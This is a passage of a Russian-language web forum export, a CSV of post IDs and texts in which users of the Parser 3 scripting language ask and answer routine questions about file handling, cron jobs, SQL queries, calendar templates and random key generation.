$file_2[^file::load[text;$url]] - строка выдает ошибку... А если присваиваю переменной $url[http://www.wood.ru/ru/index.php3\\?reg=1&pag=board&msg=44444&beg=0&sbi=0] то работает. Однако переменная $url выводит корректный адрес... я не понимаю в чем дело.. помогите пожалуйста"
"35157","Есть php скрипт, который при вставке в html код \"отдается\", как jpeg изображение. Нt могу на основе этого скрипта создать объект класса image: на ^image::measure[pic.php] ругается '/include/pic.php' unhandled image file name extension 'php' [image.format],на ^image::measure[^file::load[pic.php]] - 'pic.php' unhandled image file name extension 'php' [image.format].\
В чем я не прав? Или этого не сделать?"
"35158","Есть пользовательские шаблоны и нужно, чтобы аргумент шаблона тоже мог быть шаблоном. От этого прямая дорога - process, остальные - кривые."
"35159","Попробуйте прочитать файл как бинарный (хотя это вроде недолжно выдавать ошибку)\
Вообще неплохо бы сообщать какая ошибка."
"35160","извини забыл сказать. 404 ошибка."
"35161","См. http://www.parser.ru/docs/lang/filecgiexec.htm"
"35162","http://www.wood.ru/ru/index.php3?reg=1&pag=board&msg=44489&beg=0&sbi=0\
вот это выводит переменная $url\
вроде бы должно работать, т.к. в браузере работает"
"35164","вроде да... :) это символ экранирования. Без него вообще не находит"
"35165","На код ^image::measure[^file::exec[pic.php]] я получил 'noname.dat' unhandled image file name extension 'dat' [image.format].\
Откуда взялся noname.dat?"
"35168","Имеется сайт, построенный с помощь Parser 2. Все работает нормально, только вот если в настройках IIS изменить дефолтовые страницы о стандартных ошибках, Parser их не обрабатывает... Что надо сделать, чтобы Parser обрабатывал и эти страницы?"
"35169","[code]\
$s[abcёd]\
^s.match[\\w][g]{!}\
[/code]\
\
печатает !!!!!"
"35170","видите radiobuttons над строкой ввода?\
\
[понятно, относится к любому языку скриптования]"
"35171","Помогло!\
Спасибо большое!"
"35172","русские словари под кодировку windows-1251 для ispell - http://scon155.phys.msu.ru/~swan/orthography.html"
"35173","Попробуйте сначала целиком прочитать документацию, а только потом «сесть за уроки». Посмотрите о чем вы [url=\"http://www.parser.ru/forum/?author=Ralf-ik&doSearch=do&eq=true\"]пишете[/url].\
\
Простое копирование текста из учебника работает не всегда (обратите внимание на отсутствие «;» <td bgcolor=\"#DFDFDF\">&nbsp</td> в примерах и в вашем коде).\
\
А если лениво писать руками, то копируйте и вставляйте:\
[code]\
^days.menu{\
   <tr>\
      ^for[week_day](0;6){\
         ^if($days.$week_day){\
            ^if($days.$week_day==$now.day){\
            <td align=\"middle\" bgcolor=\"#FFFF00\">\
               <font color=\"$calendar_locale.day_colors.$week_day\">\
               	<b><a href=\"/news/?day=$days.$week_day\">$days.$week_day</a></b>\
               </font>\
            </td>\
            }{\
            <td align=\"middle\" bgcolor=\"#FFFFFF\">\
               <font color=\"$calendar_locale.day_colors.$week_day\">\
               <a href=\"/news/?day=$days.$week_day\">$days.$week_day</a>\
               </font>\
            </td>\
            }\
         }{\
            <td bgcolor=\"#DFDFDF\">&nbsp;</td>\
         }\
      }\
   </tr>\
}\
[/code]"
"35174","перевожу с парсерского на русский, то, что вы написали, думаю вам самому станет смешно и вы либо забьете на изучение парсера и будете делать то, что получается, либо сядите и наконец прочитаете хоть часть документации...\
\
так вот:\
[code]\
циклически перебираем таблицу days{ \
		<tr> \
				цикл от 0 до 6{\
						если <a href=\"/news/?day=$days.$week_day\">$days.$week_day</a> то{\
								если число итерации = сегодняшнему дню то{\
										 <td align=\"middle\" bgcolor=\"#FFFF00\"> \
               									<font color=\"значение day_colors из хеша $calendar_locale, ключ которой соответствует итерации\"><b>день из таблицы $days соответствующий текущей итерации</b></font> \
            							</td> \
								} иначе{\
										 <td align=\"middle\" bgcolor=\"#FFFFFF\"> \
               									<font color=\"значение day_colors из хеша $calendar_locale, ключ которой соответствует итерации\">день из таблицы $days соответствующий текущей итерации</font> \
            							</td> \
								}\
						} иначе{\
								<td bgcolor=\"#DFDFDF\">&nbsp</td>\
						}\
		... дальше не интересно\
[/code]\
\
советую посмотреть в вашей любимой документации, что же такое делает странный оператор if..."
"35175","Есть скрипт, мне необходимо, чтобы он автоматически запускался через каждый определенный промежуток времени. У хостера в панели управления есть Crone задачи, там можно прописать выполнение cgi скрипта. Как мне обычный метод превратить в скрипт? Если кто сталкивался с такими задачами, пожалуйста дайте совет как лучше сделать."
"35178","Я не понял, hashfile не допускает создание многоуровневых хешей?"
"35180","зайди на сайт mystat.mindwork.ru - скачай скрипт может поможет, версия старая дешиврует первичные урл тоесть с первых страниц поисковых систем"
"35181","Спасибо! =)"
"35182","вызываю /home/woodtrad/www/robots.html\
пишет:\
/home/woodtrad/www/robots.html: @body_header[]\
: command not found\
/home/woodtrad/www/robots.html: @body_additional[]\
: command not found\
/home/woodtrad/www/robots.html: ^robots_woodru[]\
: command not found\
/home/woodtrad/www/robots.html: !DOCTYPE: No such file or directory\
/home/woodtrad/www/robots.html: html: No such file or directory\
/home/woodtrad/www/robots.html: head: No such file or directory\
/home/woodtrad/www/robots.html: /head: No such file or directory\
/home/woodtrad/www/robots.html: body: No such file or directory\
/home/woodtrad/www/robots.html: /body: No such file or directory\
/home/woodtrad/www/robots.html: /html: No such file or directory\
/home/woodtrad/www/robots.html: \
: command not found\
/home/woodtrad/www/robots.html: @body_header[]\
: command not found\
/home/woodtrad/www/robots.html: @unchecked[]\
: command not found\
/home/woodtrad/www/robots.html: ^robots_woodru[]\
: command not found\
/home/woodtrad/www/robots.html: !DOCTYPE: No such file or directory\
/home/woodtrad/www/robots.html: html: No such file or directory\
/home/woodtrad/www/robots.html: head: No such file or directory\
/home/woodtrad/www/robots.html: /head: No such file or directory\
/home/woodtrad/www/robots.html: body: No such file or directory\
/home/woodtrad/www/robots.html: /body: No such file or directory\
/home/woodtrad/www/robots.html: line 21: syntax error near unexpected token `</html>'\
/home/woodtrad/www/robots.html: line 21: `</html>'"
"35184","извини, что задаю глупые вопросы, но не мог бы ты объяснить на примере..\
есть метод\
@robots[]\
...\
есть скрипт парсера /cgi-bin/parser3.cgi\
что я должен написать в строке Crone command to run?\
объясни пожалуйста подробнее, я смотрел в справке, но к сожалению не понял как делать"
"35185","[code]/path/to/parser/from/disk/root/parser3.cgi /path/to/script/from/disk/root/robots.p[/code]\
\
В robots.p обязательно должен присутствовать метод @main[] из которого и вызывать все необходимые функции."
"35186","А то я думал умру сегодня..."
"35187","Граждане, подскажите как лучше запрос написать.\
Есть три таблицы:\
ref - в ней лежат строчки referer вырезанные из url (без имени сайта) , сам адрес сайта в site_id.\
[code]\
ref_id  referer  site_id\
[/code]\
\
ref_sites - в ней лежат названия сайтов, обрезанные до последнего слеша.\
[code]\
refsite_id  site\
[/code]\
\
ref_idx - сводная таблица реферов. ref_id - индекс на ref_sites.\
num - количество за день, count_id - номер ресурса (эти несущественны)\
[code]\
refidx_id  count_id  date  ref_id  num\
[/code]\
\
Мне надо вывести список сайтов ссылающихся на один из ресурсов. Я делаю так:\
\
[code]\
$tbl1[^table::sql{\
  SELECT DISTINCT\
    ref.site_id\
  FROM\
    ref_idx\
  LEFT JOIN\
    ref\
  ON\
    ref.ref_id = ref_idx.ref_id\
  WHERE\
    ref_idx.count_id = <номер ресурса>\
  ORDER BY \
    ref.site_id\
}]\
\
^tbl1.menu{\
  <a href=\"ref.html?id=номер_ресурса&site=$tbl1.site_id\">^string:sql{select site from ref_sites where refsite_id = $tbl1.site_id}</a>\
}\
[/code]\
\
Как мне выбирать сразу имена сайтов из ref_sites, не прибегая к ^string:sql{...\
Это видимо просто, но глаза как-то разбегаются от трёх таблиц.. =)"
"35188","Добавить ещё один LEFT JOIN:\
[code]$tbl1[^table::sql{\
  SELECT DISTINCT\
    ref.site_id,\
    ref_sites.site\
  FROM\
    ref_idx\
  LEFT JOIN\
    ref\
  ON\
    ref.ref_id = ref_idx.ref_id\
  LEFT JOIN\
    ref_sites\
  ON\
    ref_sites.refsite_id = ref_idx.ref_id\
  WHERE\
    ref_idx.count_id = <номер ресурса>\
  ORDER BY \
    ref.site_id\
}][/code]"
"35189","Собственно, вопрос в том, как транспонировать таблицу, и сохранить заколовки столбцов в первой колонке.\
\
Например:\
\
Было\
[code]\
name   age   stupid\
Vasya   13   1\
[/code]\
\
Стало\
[code]\
name   Vasya\
age   13\
stupid   1\
[/code]\
\
Парсер3 делает это так\
[code]\
0\
Vasya\
13\
1\
[/code]\
\
Или, если кто знает как, подскажите способ, как узнать поменял ли пользователь в своём профайле информацию о себе или нет. Я делаю выборку из бд до внесения изменений и после. После чего хочу их проверить. Проверить-то получается, но вот имён столбцов нет, и неизвестно, какое именно поле поменялось.\
\
Заранее спасибо"
"35190","Здравствуйте.\
По моим наблюдениям метод format[] приписывает нули к началу числа только если задан тип f. Для типов d и u приписываются только пробелы.\
Это конечено не существенно, но хотелось бы делать все по-правилам:\
[code]^date.month.format[%02.u][/code]\
\
Платформа: Apache Win32\
Версия Parser: 3.1.3"
"35191","Нужно понимать, какую именно информацию менял ?\
Если только факт изменения - заведите поле timestamp (самое первое поле такого типа меняется автоматически при изменении любого поля строки). Это верно для MySQL."
"35192","Здравствуйте.\
Я только недавно узнал о Parser. И не ругайте за глупые вопросы.\
Можно ли с помощью Parser делать и-нет магазины?\
За сколько часов/дней/недель или месяцев, а может и лет можно выучить Parser. Мне 15 лет)))\
Спасибо"
"35193","Вот несколько вопросов:\
[1] Скажите, как-нибудь можно средствами Parser задать Status Code в HTTP ответе (например 404)?\
[2] Что это за поле такое [code]$response:refresh[/code] (взято из докуметации)? В спецификации по HTTP 1.1 я такого не нашел (может быть плохо искал..) Тем более оно не производит на мой броузер никакого эффекта.\
[3] При задании [code]$response:location[/some_url/][/code] страница обновляется, но в адресной строке броузера остается прежний путь. Как это можно изменить?"
"35194","привет!!!\
отвечу как чайник-чайнику :-)\
О Парсере узнал в конце августа, а 20 сентября уже пустил в эксплуатацию сайт [url=\"http://www.fesaem.ru\"]ТГЭУ[/url], после чего вскорости переделал и свой [url=\"http://nester.fesaem.ru\"]сайт[/url] на Парсер. Вот и вывод:-) - обучение начальное у меня заняло с неделю, а вот совершенствование идет до сих пор!!! :-)\
Да, запросто можно делать и Инет-магазины, и все что угодно! (да поправят меня Создатели, если я не прав!!) :-)"
"35195","Наверное вопросо чайника, но все-таки?\
В доке сказано:\
\
^файл.save[формат;имя файла]    \
Метод сохраняет объект в файл в заданном формате под указанным именем.\
\
А как сохранить файл не помещая  него содержимого, то есть чтобы он имел размер 0 байт?\
Поиск не помог.\
\
Создание файла методом \
^file::load[формат;имя файла] ессно, тоже не работает, так как для этого файл уже должен существовать.\
"
"35196","Позволю тогда себе ещё один вопрос.\
Есть 4 таблицы (хиты, хосты, посетители, сессии) примерно одного формата:\
id, site_id, count, date\
Таблицы содержат соответственно эти количества для каждого сайта за каждую дату. \
Мне хочется за 1 запрос получить примерно такую таблицу для одного из site_id:\
date, hits, hosts, visits, sessions\
Одна строка для каждой даты.. \
Как это сделать?"
"35197","А почему надо именно пустой? Сделай файл с пробелом, например..."
"35198","Можно ли сделать на Парсере что-нибудь в таком роде\
ob2 = ((ob1.method1).method2).method3\
\
То есть могу ли я записать эти команды\
[code]n(^s.pos[?])\
n(^n.int(0))\
s[^s.left(n)][/code]\
в одну строку?"
"35200","Исходя из [url=\"http://www.slackware.ru/article.ghtml?ID=544\"]этого[/url] и учитывая [url=\"http://www.parser.ru/i/users/image_7.jpg\"]это[/url] можно быть спокойным за будущее Parser 3! ;)"
"35202","Как сохранить в нем пробел (как впрочем и любой символ) - очевидно.\
Интересует именно вопрос, как создать файл не запихивая в него никакой информации и бесполезной - тоже."
"35203","Миниму, что можно - файл размером в 1 байт.\
[code]\
$string[ ]\
^string.save[s.txt]\
[/code]\
\
Правда встает вопрос: а зачем нужен совершенно пустой файл? Практически?"
"35204","Впрочем, решаемо\
@some_output[f]\
$result[^if($f.text eq \" \"){}{$f.text}]"
"35206","Интерфейсно легче создать файл, а потом открыть его для редактирования  из броузера - если такое вдруг нужно."
"35207","Нужно периодически запоминать текущую дату в отдельном файле. Которая потом оттуда извлекается при необходимости.\
Конечно можно написать типа так:\
$d[^date::now[]]\
$f{^d.unix-timestamp[]}\
^f.save[a.dt]\
\
А потом ее оттуда извлечь\
$df[^file::load[a.dt]]\
\
Но зачем столько телодвижений, если нужная дата есть один из атрибутов файла, который можно получить с помощью file::stat в файл не залезая? Так наверно быстрее... А еще лучше в этот файл вообще ничего не записывать, имхо, так как бесцельно"
"35210","... поскольку атрибуты хранилища могут изменяться в зависимости от нужд контейнера [в данном случае ОС и файловой системы]. \
\
Более того - Вы ничего в данном случае не экономите, а вот получить проблемы при работе такого кода вполне реально.\
\
p.s. У Вас получился типичный пример \"преждевременной оптимизации\"..."
"35211","Поскольку за более чем десятилетнюю практику у меня такой необходимости не возникало ни разу."
"35214","Поддерживает ли MySQL autoincrement ?"
"35215","1. можно (подробности в документации)\
3. найти ответ на этот вопрос можно воспользовавшись поиском по форуму"
"35218","да.\
P.S. подобные вопросы лучше задавать в форуме по mysql после поиска в документации по mysql"
"35219","отдано ответ на основной вопрос - нет, вы так сделать в общем виде не можете."
"35220","[code]\
@color[color1;color2]\
^if(!def $switcher){$switcher(0)}\
^switcher.mod(2)\
^if($switcher eq 0){\
$color1\
^switcher.inc[]\
}{\
$color2\
^switcher.inc[]\
}\
[/code]"
"35221","[code]\
@color[color1;color2]\
^if(!def $switcher){$switcher(0)}\
^switcher.mod(2)\
# ^if($switcher eq 0){\
# «eq» — оператор для сравнения строк,\
# для сравнения чисел — «==»\
^if($switcher == 0){\
	$color1\
	^switcher.inc[]\
}{\
	$color2\
	^switcher.inc[]\
}\
[/code]"
"35222","ТО есть есть таблица вида\
id name\
\
в ней храниться более 8000 строк. Интересует как можно подсчитать сколко уникальных name в этой таблице? Понимаю что надо наверна копать в сторону DISTINCT но вот е могу никак сообразить. помогите плиз как?\
[code]\
^connect[$connect_string]{$news_count[^int:sql{\
SELECT\
COUNT(name)\
FROM\
z\
}]}\
[/code]\
но вот как? :("
"35223","PS. Читайте доки."
"35224","Делается выборка данных, а не подсчет :("
"35227","Попробуйте так, должно получиться на порядок быстрее\
\
[code]SELECT name\
FROM z\
GROUP BY name[/code]\
\
И попробуйте так, за результат не ручаюсь, но должно получиться число, которое вы ищите\
\
[code]SELECT COUNT(name) AS kolichestvo\
FROM z\
GROUP BY name[/code]"
"35229","вроде [url=\"http://dev.mysql.com/doc/mysql/ru/Nutshell_Other_features.html\"]пишут[/url] что работать должно достаточно быстро."
"35231","1. Доки и поиск по форуму рулят ;)\
2. Для создания магазина нужны мозги, от языка, будь то Perl, PHP или Parser независит..."
"35232","вы зачем-то точку пишете в описании форматной строки целого числа."
"35233","[code]\
$string[$empty]\
^string.save[empty.txt]\
[/code]"
"35234","а вспомогательные имена переменных, вспомогательные функции, облегчают его."
"35235","Если соответсвие строгое, т.е. в каждой из таблиц одной записи обязательно соответсвуют по записи в оcтальных, то делается так:\
[code]SELECT\
	таблица.колонка,\
	таблица2.колонка,\
	таблица3.колонка,\
	и т.д.\
FROM\
	таблица,\
	таблица2,\
	таблица3,\
	и т.д.\
WHERE\
	(тут в соответствие ставяться колонки, по которым таблицы связаны, т.е.)\
	таблица.колонка = таблица2.колонка\
AND\
	таблица2.колонка = таблица3.колонка\
[/code]\
и т.д.\
\
Если же количество отношения один к многим, или один ни к кому, то тут используется LEFT JOIN.\
Пример - мой предыдущий пост."
"35237","но думаю про своё...\
мне кажется такой конструкции явно не хватает :-)\
\
[code]\
^shop.getCity[].getName[]\
[/code]\
\
сейчас приходится писать так, не удобно.\
\
[code]\
$city[^shop.getCity[]]\
^city.getName[]\
[/code]"
"35238","ну можно и не так, а так же как и в варианте с LEFT JOIN - убирается только слово LEFT"
"35239","Есть ли решение моего способа, так как про MySQL я не совсем понял."
"35240","[code]\
$prev[^getInfo[]]\
\
^rem{ ...updates... }\
\
$curr[^getInfo[]]\
\
^if($prev.name ne $curr.name || $prev.age != $curr.age || ...){\
  ^rem{ ...member change info in profile... }\
}\
[/code]"
"35242","Подскажите пожалуйста в чем здесь ошибка?\
Получаю инф. об изорбажении:\
[code]$f_stat[^file::stat[/images/$files.name]][/code]\
И затем пытаюсь показать даты (создания, изменения, последнего обращения) в виде стандартном для СУБД:\
[code]\
^f_stat.cdate.sql-string[]\
^f_stat.mdate.sql-string[]\
^f_stat.adate.sql-string[]\
[/code]\
Но получаю ошибку:\
[b]undefined method\
sql-string[/b]\
\
А так все работает:\
[code]${f_stat.cdate.day}/${f_stat.cdate.month}/${f_stat.cdate.year} ${f_stat.cdate.hour}^:${f_stat.cdate.minute}[/code]\
\
Никак не разберусь"
"35243","Сорри, если подобный вопрос уже проскакивал - не нашел на форуме.\
\
Вчера начал проходить уроки по парсеру. Дошел до третьего урока, когда нужно создать календарь. Примеры из первых двух уроков работают просто отлично, а вот с третьим - ма-аленькая проблема:\
\
[color=\"blue\"]/news/auto.p:[/color]\
\
@calendar[]\
$calendar_locale[\
   $.month_names[\
         $.1[&#223;&#237;&#226;&#224;&#240;&#252;]\
         $.2[&#212;&#229;&#226;&#240;&#224;&#235;&#252;]\
         $.3[&#204;&#224;&#240;&#242;]\
         $.4[&#192;&#239;&#240;&#229;&#235;&#252;]\
         $.5[&#204;&#224;&#233;]\
         $.6[&#200;&#254;&#237;&#252;]\
         $.7[&#200;&#254;&#235;&#252;]\
         $.8[&#192;&#226;&#227;&#243;&#241;&#242;]\
         $.9[&#209;&#229;&#237;&#242;&#255;&#225;&#240;&#252;]\
         $.10[&#206;&#234;&#242;&#255;&#225;&#240;&#252;]\
         $.11[&#205;&#238;&#255;&#225;&#240;&#252;]\
         $.12[&#196;&#229;&#234;&#224;&#225;&#240;&#252;]\
   ]\
   $.day_names[\
         $.0[&#239;&#237;]\
         $.1[&#226;&#242;]\
         $.2[&#241;&#240;]\
         $.3[&#247;&#242;]\
         $.4[&#239;&#242;]\
         $.5[&#241;&#225;]\
         $.6[&#226;&#241;]\
   ]\
   $.day_colors[\
         $.0[#000000]\
         $.1[#000000]\
         $.2[#000000]\
         $.3[#000000]\
         $.4[#000000]\
         $.5[#800000]\
         $.6[#800000]\
   ]\
]\
$now[^date::now[]]\
$days[^date:calendar[rus]($now.year;$now.month)]\
<center>\
<table bgcolor=\"#000000\" cellspacing=\"1\">\
   <tr>\
      <td bgcolor=\"#FFFFFF\" colspan=\"7\" align=\"middle\">\
         <b>$calendar_locale.month_names.[$now.month]</b>\
      </td>\
   </tr>\
   <tr>\
      ^for[week_day](0;6){\
         <td width=\"14%\" align=\"middle\" bgcolor=\"#A2D0F2\">\
            <font color=\"$calendar_locale.day_colors.$week_day\">\
               $calendar_locale.day_names.$week_day\
            </font>\
         </td>\
      }\
   </tr>\
54 [color=\"red\"]^days.menu{[/color]\
   <tr>\
56 [color=\"red\"]      ^for[week_day](0;6){[/color]\
57 [color=\"red\"]         ^if($days.$week_day){[/color]\
            ^if($days.$week_day==$now.day){\
            <td align=\"middle\" bgcolor=\"#FFFF00\">\
               <font color=\"$calendar_locale.day_colors.$week_day\">\
               <b>$days.$week_day</b>\
               </font>\
            </td>\
            }{         \
            <td align=\"middle\" bgcolor=\"#FFFFFF\">\
               <font color=\"$calendar_locale.day_colors.$week_day\">\
               $days.$week_day\
               </font>\
            </td>\
            }\
         }{\
            <td bgcolor=\"#DFDFDF\">&nbsp;</td>   \
         }\
      }\
   </tr>\
}\
</table>\
</center>\
\
[color=\"blue\"]Содержимое файла /news/index.html:[/color]\
\
^calendar[]\
\
[color=\"blue\"]Содержимое файла /auto.p - как во втором уроке[/color]\
\
И вот что выдает парсер при просмотре /news/index.html:\
\
[color=\"gray\"]Unhandled Exception (Debug)\
\
method of MAIN (MAIN) accepts maximum 3 parameter(s)\
if\
\
z:/home/pars.ru/www/news/auto.p(57)\
exception.type=parser.runtime \
for z:/home/pars.ru/www/news/auto.p(56)\
menu z:/home/pars.ru/www/news/auto.p(54)\
calendar z:/home/pars.ru/www/news/index.html(1)\
[/color]\
\
Подскажите, в чем именно проблема? Что-то я так и не разобрался. :("
"35244","[code]\
@test[]\
$fs[^file::stat[/main.css]]\
$result[^fs.cdate.sql-string[]]\
[/code]\
\
$result = 2004-11-23 20:38:13\
и ни какой ошибки..."
"35245","В Парсере символ ; - служебный, его надо эскейпить \"птичкой\", т.е. не &nbsp;, а &nbsp^;\
\
З.Ы. В форуме это есть. И не один раз. Ищи в следующий раз лучше"
"35246","уроки нужно проходить после того, как всю доку прочитаете...\
ошибка в nbsp, символ ; нужно экранировать так: ^;\
иначе вы if закрываете..."
"35249","действительно, сложно понять, что за объект в итоге получается. В С(++|#) это, например, не проблема -- там надо явно указывать, какого класса получается объект (операция приведения типов):\
\
((class3)(((class2)ob1.method1()).method2())).method3()\
\
 - в конечном итоге получилось, что вызвали mehtod3 у класса class3.\
А на парсере ничего понятно не будет:\
\
^ob1.method1[].method2[].method3[]\
\
Зато у парсера нет строгой типизации, что, безусловно, облегчает работу для веб-кодера."
"35250","Странность в том что число получается не случайное.\
Версия 3.1.3 для windows \
^page[] находится внутри дбконекта\
\
[code]\
@page[]\
\
\
^rem{\
\
# Создаём таблицу\
^void:sql{CREATE TABLE bn (\
  id int(10) NOT NULL default '0',\
  `key` int(10) NOT NULL default '0')\
   TYPE=MyISAM}\
\
# Наполняем её id-шниками\
^void:sql{INSERT INTO bn(id, `key`) VALUES ^for[i](1;800){(1,)}[,]}\
\
}\
\
\
# Достаём сущ. id и пытемся в БД каждому id сопоставить случайное число\
$test[^table::sql{SELECT id FROM bn}]\
^test.menu{\
	^void:sql{UPDATE `bn`\
			  SET `key`='^key_test[]'\
			  WHERE id=$test.id}\
			  \
}OK\
\
# Проверяем число на случайность\
@key_test[][test]\
$result[^keygen[]]\
$test[^table::sql{SELECT id FROM bn WHERE `key`=\"$result\"}]\
^if(def $test.id){$result[^key_test[]]}\
\
# Генерируем случайное число в 10 символов\
@keygen[]\
$result{^math:random(1000)^math:random(1000)^math:random(1000)^math:random(1000)^math:random(1000)^math:random(1000)^math:random(1000)^math:random(1000)^math:random(1000)^math:random(1000)^math:random(1000)^math:random(1000)}\
$result[^result.mid(0;10)]\
\
# ps: Как ни странно но например на 3х символах ошибки не возникает\
[/code]"
"35252","каким методом надо воспользоваться чтоб, указать в ответе пользователю 404 ошибку? \
Если я правильно понял документацию по HTTP, то информация, которая посылается клиенту содержит:\
 * код статуса (Status Code: 404 - not found, 200 - OK итд),\
 * заголовки HTTP-ответа (User-Agent, Host итд) и\
 * тело ответа. \
С помощью класса response можно менять заголовки и тело ответа. А вот как задать Status Code, я так и не узнал. Помогите, пожалуйста."
"35257","[code]\
@keygen[]\
$result{^math:random(1000)^math:random(1000)^math:random(1000)^math:random(1000)^math:random(1000)^math:random(1000)^math:random(1000)^math:random(1000)^math:random(1000)^math:random(1000)^math:random(1000)^math:random(1000)}\
$result[^result.mid(0;10)]\
[/code]\
\
Вы генерируете 30-тизначное число и потом обрезаете его до первых 10 символов.\
К тому же, сначала зачем-то храните его как код, а потом как строку...\
\
[code]\
@keygen[]\
$result(^math:random(999999999))\
[/code]\
\
Плюс жуткие выборки по 800 запросов...\
Напишите, что вы хотите сделать и вам помогут написать правильный код."
"35258","Типизация у парсера как раз строгая (относительно), - т.е. нельзя валенки с сапогами складывать. Однако, связывание позднее или динамическое, присущее всем подобным языкам."
"35262","Как можно сделать подкрашивание строк\
При этом не используя XML и столбца ID в базе данных, т.е. чисто парсерными средствами"
"35264","Столкнулся с такой вот штукой.\
\
пишу в форме несколько скрытых полей но все имеют одно имя и разные значения.\
[code]\
<input type=\"hidden\" name=\"id\" value=\"1\"/>\
<input type=\"hidden\" name=\"id\" value=\"2\"/>\
<input type=\"hidden\" name=\"id\" value=\"3\"/>\
<input type=\"hidden\" name=\"id\" value=\"4\"/>\
[/code]\
при посте формы (методом POST) хотелось получить табличку с множественными значениями, но вот странно что в таблице приходит в 2 раза больше значений! т.е. каждая продублирована.\
\
Скажите может я ошибаюсь и нельзя так делать или это баг?\
\
p3.1.3 cgi winXP apache2"
"35265","Что Вы имеете в виду под \"подкрашивание строк\"?"
"35268","так все верно работает:\
[code]\
Выберите, чем вы увлекаетесь в свободное время:\
<form method=\"POST\">\
   <p><input type=hidden name=hobby value=\"Театр\">Театром</p>\
   <p><input type=hidden name=hobby value=\"Кино\">Кино</p>\
   <p><input type=hidden name=hobby value=\"Книги\">Книгами</p>\
   <p><input type=submit value=\"OK\"></p>\
</form>\
$hobby[$form:tables.hobby]\
^if($hobby){\
    Ваши хобби:<br>\
    ^hobby.menu{\
        $hobby.field\
    }[<br>]\
}{\
    Ничего не выбрано\
}\
[/code]"
"35269","Задача:\
Создать в БД для каждого пользователя уникальный неочень сложный  открытый для пользователя ключь (задача простая и легко решаемая)\
\
НО, при генерации случайного десятизначного числа, появляется в ~99% случаях (в случайной последовательности) одно и тоже число.\
Решается следующими способами\
в UPDATE ^key_test[] всталяется в переменную-прокладку\
либо в @keygen[] изменить количество требуемых разрядов чисел до 3\
\
\
Что мне надо сделать я сделаю в любом случае - просто сообщаю,- что это скорее всего БАГ\
\
ps: Надеюсь ошибаться"
"35270","вообще БАГОВ сильно больше, чем людей, это общеизвестно :)\
\
скажем, выбор десятизначного числа для id даст вам \
[code]\
количество записей\
------------------\
  10 000 000 000\
[/code]\
вероятность совпадения (в идеальном случае).\
\
конечно, 1% и будет, когда записей станет 100 000 000.\
но даже пока вы не добрались до этого количества записей понятно, что этой вероятностью нельзя пренебречь.\
\
варианты:\
* увеличте количество цифр до 15, уже будет заметно полегче.\
* перейдите на uuid, считается, что этого количества бит [b]практически[/b] достаточно для того, чтобы обеспечить уникальность."
"35272","Всё просто, если остаток от деления на 2 (для покраски через 1 строку) равен нулю - строка чётная, и наоборот.\
Отлавливаете остаток от деления на 2 номера строки таблицы и подкрашиваете."
"35273","в моем случае файл используется как флаг, у которого есть один атрибут и больше ничего от него не надо. По этому атрибуту (по дате) определяется некое действие. Если дата не устарела - ничего не делается, если устарела действие производится, файл перезаписывается. \
\
Я понимаю, что возможно это не самый оптимальный подход, но думаю он тоже имеет право на существование, темболее что он очень прост и требует минимум ресурсов... по крайней мере я не вижу, какие в таком алгоритме могут быть проблемы? Чисто практически?"
"35274","Зато вариант когда дата хранится в самом файле надежнее и гибче.\
\
А еще лучше для хранения внешних флагов использовать hashfile."
"35275","Сегодня вечером, завтра вечером удалю"
"35276","Работа над эмулятором тихо продвигается.\
\
На http://www.bougakov.com/devel/download/smtp_emulator.zip выложена очень сырая альфа-версия с исходниками. Если вы немного разбираетесь в VB и у вас есть четверть часа свободных - посмотрите её на предмет концептуальных ошибок. Если таковых нет, буду наращивать мясо на скелет - реализую запись писем в *.eml файлы и все красивости интерфейса.\
\
Пока программа умеет только \"разговаривать\" с SMTP-клиентами (многопоточность поддерживается) - то есть если вы запустите его на компьютере, ^mail:send у вас с ошибкой не вылетит, и вы увидите процесс передачи письма в главном окне."
"35277","В логах полно вот таких ошибок.\
\
[Sun Nov 28 20:23:33 2004] /reg.html: post_size(204800) != content_length(266629) [<no type>]\
\
По логике это от того, что пользовательское соединение рвется и какие-то данные по дороге к скрипту теряются.\
Есть ли к-л средство от этого?\
Много юзеров из-за этого теряются :("
"35278","Есть две таблицы с одинаковой структурой, так вот необходимо из одной данные (около 18 миллионов записей) переписать в другую (где уже есть порядка 60 миллионов записей)\
Как это сделать?\
предложите пож. решение. Вопрос срочный, т.к. данные в 24.00 будут пересчитываться."
"35280","id	key\
1	2147483647\
2	2147483647\
3	2088249838\
4	2147483647\
5	2147483647\
6	2147483647\
7	2147483647\
8	2147483647\
9	1514255051\
10	2147483647\
11	1172322058\
12	1612195149\
13	2147483647\
14	2147483647\
15	2147483647\
16	2147483647\
17	2147483647\
18	2147483647\
19	2147483647\
20	2147483647\
21	2147483647\
22	2147483647\
23	2147483647\
24	2147483647\
25	2147483647\
26	2147483647\
27	2147483647\
28	2147483647\
29	2147483647\
30	2147483647\
31	2147483647\
32	2147483647\
33	2147483647\
34	2147483647\
35	2147483647\
36	2147483647\
37	2147483647\
38	2147483647\
39	2147483647\
40	1189068005\
41	2147483647\
42	2147483647\
43	2147483647\
44	2147483647\
45	2147483647\
46	2147483647\
47	1323966891\
48	1212343836\
49	2147483647\
50	2147483647\
51	2147483647\
52	1078287315\
53	2147483647\
54	2147483647\
55	2147483647\
56	2147483647\
57	2147483647\
58	2147483647\
59	1034006876\
60	1014804062\
61	2147483647\
62	2147483647\
63	2147483647\
64	2147483647\
65	2147483647\
66	2147483647\
67	2147483647\
68	2147483647\
69	1487412263\
70	2147483647\
71	2147483647\
72	2147483647\
73	2147483647\
74	2147483647\
75	2147483647\
76	2147483647\
77	2147483647\
78	2147483647\
79	2147483647\
80	2147483647\
81	2147483647\
82	2147483647\
83	2147483647\
84	2147483647\
85	2147483647\
86	2147483647\
87	2147483647\
88	2147483647\
89	2147483647\
90	2147483647\
91	2147483647\
92	2147483647\
93	2147483647\
94	2147483647\
95	2147483647\
96	2147483647\
97	2147483647\
98	2147483647\
99	2147483647\
100	2147483647\
id	key\
101	1045247518\
102	2147483647\
103	2147483647\
104	2147483647\
105	2147483647\
106	2147483647\
107	2147483647\
108	2147483647\
109	2147483647\
110	2147483647\
111	2147483647\
112	2147483647\
113	2121424051\
114	2147483647\
115	2147483647\
116	2147483647\
117	2147483647\
118	2147483647\
119	2147483647\
120	2147483647\
121	2147483647\
122	2147483647\
123	2147483647\
124	2147483647\
125	1826261991\
126	2147483647\
127	2147483647\
128	1324393843\
129	2147483647\
130	2147483647\
131	2147483647\
132	2147483647\
133	2147483647\
134	2147483647\
135	2147483647\
136	2147483647\
137	2147483647\
138	2147483647\
139	2147483647\
140	2147483647\
141	2025351576\
142	2147483647\
143	2147483647\
144	2147483647\
